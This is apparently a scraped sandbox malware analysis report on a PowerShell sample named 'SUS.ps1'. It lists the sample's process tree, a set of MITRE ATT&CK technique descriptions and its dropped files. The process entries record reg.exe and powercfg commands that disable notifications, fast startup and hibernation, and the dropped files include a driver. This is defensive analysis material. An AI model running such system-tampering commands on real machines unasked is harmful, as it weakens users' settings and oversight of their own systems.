Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f
Imagebase:	0xaf0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:11:23
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:11:23
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
Imagebase:	0x7ff62c440000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:11:23
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:11:23
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
Imagebase:	0xaf0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:11:24
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powercfg -hibernate off
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:11:24
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -hibernate off
Imagebase:	0xb00000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:12:16
Start date:	05/02/2025
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff631960000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:12:16
Start date:	05/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SUS.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bxkid1j.kky.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1myddkdz.erm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkvbw1iq.qzn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebactow5.1no.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwb0vqm2.1xc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxtryv1q.r0l.psm1

C:\Users\user\AppData\Roaming\ALSysIO64.sys

Windows Analysis Report
SUS.ps1

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre